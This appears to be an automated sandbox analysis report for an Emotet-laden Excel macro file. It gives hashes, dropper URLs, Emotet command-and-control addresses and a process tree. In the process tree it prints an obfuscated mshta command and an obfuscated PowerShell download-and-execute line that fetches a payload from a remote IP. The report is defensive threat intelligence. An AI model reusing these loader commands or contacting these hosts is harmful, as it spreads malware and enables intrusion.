Analysis

  • max time kernel
    117s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    19-01-2022 15:09

General

  • Target

    19871442-319056.xlsm

  • Size

    114KB

  • MD5

    762dc2ad8c9f6360ee9c107028d17253

  • SHA1

    ee1dcd803cc7fe4e267e080e6f16f09983ef3d49

  • SHA256

    04cbc0b177c15fce9d0ab4d483fae95e6eee3979d6ef931066c569b1748c3908

  • SHA512

    5c4ac0430e8a5c7b3deafbd08014ce97a4b0aca115ff5d8db2479f95eb5c791fd807b520c5ed2e24f9c16501e88c6c8e8116de504b24699a9aee8239d77d90dc

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\19871442-319056.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:576
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0x5cff39c3/sec/sec.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1324
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1932
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1992
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:360
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1164
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Uirkghbwiizrb\afixrzgkzymozp.yas",SygRU
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1968
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Uirkghbwiizrb\afixrzgkzymozp.yas",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1084

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/360-71-0x00000000005D0000-0x00000000005F8000-memory.dmp

    Filesize

    160KB

  • memory/1084-96-0x0000000000260000-0x0000000000288000-memory.dmp

    Filesize

    160KB

  • memory/1084-98-0x00000000005B0000-0x00000000005D8000-memory.dmp

    Filesize

    160KB

  • memory/1084-115-0x0000000002A60000-0x0000000002A88000-memory.dmp

    Filesize

    160KB

  • memory/1084-112-0x00000000029B0000-0x00000000029D8000-memory.dmp

    Filesize

    160KB

  • memory/1084-110-0x0000000002950000-0x0000000002978000-memory.dmp

    Filesize

    160KB

  • memory/1084-108-0x00000000028F0000-0x0000000002918000-memory.dmp

    Filesize

    160KB

  • memory/1084-106-0x00000000027F0000-0x0000000002818000-memory.dmp

    Filesize

    160KB

  • memory/1084-102-0x0000000000D20000-0x0000000000D48000-memory.dmp

    Filesize

    160KB

  • memory/1084-100-0x0000000000C00000-0x0000000000C28000-memory.dmp

    Filesize

    160KB

  • memory/1164-78-0x00000000001E0000-0x0000000000208000-memory.dmp

    Filesize

    160KB

  • memory/1164-82-0x0000000001F10000-0x0000000001F38000-memory.dmp

    Filesize

    160KB

  • memory/1164-88-0x0000000002810000-0x0000000002838000-memory.dmp

    Filesize

    160KB

  • memory/1164-91-0x00000000028C0000-0x00000000028E8000-memory.dmp

    Filesize

    160KB

  • memory/1164-86-0x00000000022E0000-0x0000000002308000-memory.dmp

    Filesize

    160KB

  • memory/1164-80-0x0000000000340000-0x0000000000368000-memory.dmp

    Filesize

    160KB

  • memory/1164-84-0x0000000002280000-0x00000000022A8000-memory.dmp

    Filesize

    160KB

  • memory/1632-56-0x0000000071891000-0x0000000071893000-memory.dmp

    Filesize

    8KB

  • memory/1632-55-0x000000002F6F1000-0x000000002F6F4000-memory.dmp

    Filesize

    12KB

  • memory/1632-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1632-58-0x00000000763F1000-0x00000000763F3000-memory.dmp

    Filesize

    8KB

  • memory/1632-116-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1932-64-0x0000000002140000-0x0000000002320000-memory.dmp

    Filesize

    1.9MB

  • memory/1932-63-0x0000000002140000-0x0000000002320000-memory.dmp

    Filesize

    1.9MB

  • memory/1968-93-0x0000000000230000-0x0000000000258000-memory.dmp

    Filesize

    160KB